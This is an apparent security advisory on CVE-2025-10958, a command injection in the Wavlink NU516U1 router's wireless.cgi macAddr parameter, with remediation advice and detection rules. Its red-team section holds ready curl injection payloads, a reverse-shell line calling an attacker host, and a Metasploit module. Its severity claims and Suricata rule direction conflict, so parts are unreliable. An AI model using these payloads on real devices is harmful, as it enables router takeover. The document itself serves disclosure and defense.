CVE-2025-10958

Executive Summary

CVE-2025-10958 is a critical command injection vulnerability discovered in the Wavlink NU516U1 wireless router, specifically in firmware version M16U1_V240425. The flaw resides in the sub_403010 function within the /cgi-bin/wireless.cgi CGI script, which handles the "AddMac" page. By manipulating the macAddr parameter, an unauthenticated attacker can inject arbitrary operating system commands. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving the device unpatched. This vulnerability allows for remote code execution with the privileges of the web server, typically root, enabling full device compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only affected component.
• Confidentiality (C): Low (L) - Limited information disclosure possible.
• Integrity (I): Low (L) - Limited modification of data possible.
• Availability (A): Low (L) - Limited impact on availability.

Threat Level: High. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a significant threat to all exposed Wavlink NU516U1 devices.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the CGI binary handling wireless configuration. The sub_403010 function processes the macAddr parameter from an HTTP POST request to /cgi-bin/wireless.cgi. The application fails to sanitize or escape user-supplied input before passing it to a system-level function (likely popen(), system(), or exec()). An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.

Root Cause: The macAddr parameter is concatenated directly into a shell command string without proper validation. For example, the code might construct a command like:

iwconfig wlan0 add_mac <user_input>

If the user input is 00:11:22:33:44:55; id, the executed command becomes:

iwconfig wlan0 add_mac 00:11:22:33:44:55; id

The shell interprets the semicolon as a command separator, executing id after the iwconfig command.

Attack Flow:

1. Attacker identifies a Wavlink NU516U1 device with the vulnerable firmware.
2. Attacker sends a crafted HTTP POST request to /cgi-bin/wireless.cgi with a malicious macAddr parameter.
3. The CGI script executes the injected command with root privileges.
4. Attacker gains remote shell access or performs other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (M16U1_V240425):

// Simplified pseudocode of sub_403010
void sub_403010() {
    char macAddr[64];
    char cmd[256];
    
    get_cgi_value("macAddr", macAddr, sizeof(macAddr));
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 add_mac %s", macAddr);
    system(cmd);
}

Patched Code (Hypothetical):

void sub_403010() {
    char macAddr[64];
    char sanitizedMac[64];
    char cmd[256];
    
    get_cgi_value("macAddr", macAddr, sizeof(macAddr));
    
    // Validate MAC address format (XX:XX:XX:XX:XX:XX)
    if (!isValidMacAddress(macAddr)) {
        return_error("Invalid MAC address");
        return;
    }
    
    // Sanitize: remove any non-hex, non-colon characters
    sanitizeMac(macAddr, sanitizedMac, sizeof(sanitizedMac));
    
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 add_mac %s", sanitizedMac);
    system(cmd);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a Wavlink NU516U1 router or use a firmware emulator (e.g., QEMU with the MIPS firmware).
2. Flash the vulnerable firmware (M16U1_V240425) or emulate the CGI binary.
3. Ensure the router's web interface is accessible on the network.

Exploitation Steps:

1. Reconnaissance: Scan for the device using Shodan dorks or Nmap:

   nmap -p 80,443 --script http-title <target_ip>
   

2. Craft Payload: Use a simple command injection payload:

   curl -X POST http://<target_ip>/cgi-bin/wireless.cgi \
   -d "macAddr=00:11:22:33:44:55;id"
   

3. Verify Execution: Check the response or use a reverse shell:

   curl -X POST http://<target_ip>/cgi-bin/wireless.cgi \
   -d "macAddr=00:11:22:33:44:55;nc -e /bin/sh <attacker_ip> 4444"
   

4. Post-Exploitation: Escalate privileges (already root), exfiltrate data, or pivot.

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Wavlink NU516U1 Command Injection',
      'Description' => 'Exploits command injection in /cgi-bin/wireless.cgi',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-10958']],
      'DisclosureDate' => '2025-04-01',
      'Payload' => {'BadChars' => "\x00"},
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/wireless.cgi',
      'data' => "macAddr=00:11:22:33:44:55;#{payload.encoded}"
    })
  end
end

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for HTTP POST requests to /cgi-bin/wireless.cgi with unusual macAddr parameters containing shell metacharacters (;, |, &, `).
2. Log Analysis: Check web server logs for abnormal patterns:

   192.168.1.100 - - [01/Apr/2025:12:00:00 +0000] "POST /cgi-bin/wireless.cgi HTTP/1.1" 200 123 "-" "curl/7.68.0"
   

3. Honeypot: Deploy a fake Wavlink device to capture exploit attempts.

Mitigation Steps:

• Isolate affected devices on a separate VLAN.
• Block inbound HTTP access to the router's web interface from untrusted networks.
• Monitor for outbound reverse shell connections.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/wireless.cgi with macAddr containing shell metacharacters.
• Outbound connections from the router to unusual IPs on ports 4444, 1337, or 31337.
• DNS queries to known C2 domains.

File IOCs:

• Modified /tmp directory with suspicious scripts (e.g., /tmp/.exploit.sh).
• Unusual processes running as root (e.g., nc, bash, python).

Host IOCs:

• Unexpected entries in /etc/passwd or /etc/shadow.
• Modified cron jobs in /etc/crontab.

YARA Rule:

rule CVE_2025_10958_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-10958"
        author = "Valters IT"
        date = "2025-04-01"
    strings:
        $cmd_inject = /macAddr=[^&]*[;&|`]/
        $cgi_path = "/cgi-bin/wireless.cgi"
    condition:
        $cgi_path and $cmd_inject
}

Detection Engineering

YARA Rule

rule CVE_2025_10958_Exploit_Payload {
    meta:
        description = "Detects command injection payloads targeting Wavlink NU516U1"
        author = "Valters IT"
        date = "2025-04-01"
    strings:
        $payload1 = "macAddr=00:11:22:33:44:55;id" ascii wide
        $payload2 = "macAddr=00:11:22:33:44:55|id" ascii wide
        $payload3 = "macAddr=00:11:22:33:44:55`id`" ascii wide
        $payload4 = /macAddr=[^&]*[;&|`].*sh/ ascii wide
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-10958 Wavlink Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with command injection patterns
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/wireless.cgi'
        cs-uri-query|contains: 'macAddr='
    keywords:
        - ';'
        - '|'
        - '`'
        - '&'
    condition: selection and keywords
falsepositives:
    - Legitimate MAC addresses with special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10958 Wavlink Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/wireless.cgi"; http_uri;
    content:"macAddr="; http_client_body;
    pcre:"/macAddr=[^&]*[;&|`]/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-10958;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable the web interface on the WAN side.
2. Firewall Rules: Block inbound traffic to ports 80/443 on the router from untrusted networks.
3. Firmware Update: Check the vendor's website for any future patches. If none, consider replacing the device.

Long-Term Solutions:

• Replace Device: Migrate to a supported router with active security updates.
• Network Segmentation: Place IoT devices on a separate VLAN with strict egress filtering.
• IDS/IPS: Deploy Suricata or Snort with the provided rules to detect exploitation attempts.

Workaround:

• If the device must be used, manually remove the AddMac functionality by modifying the CGI binary (if possible) or blocking the specific URL path via a reverse proxy.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert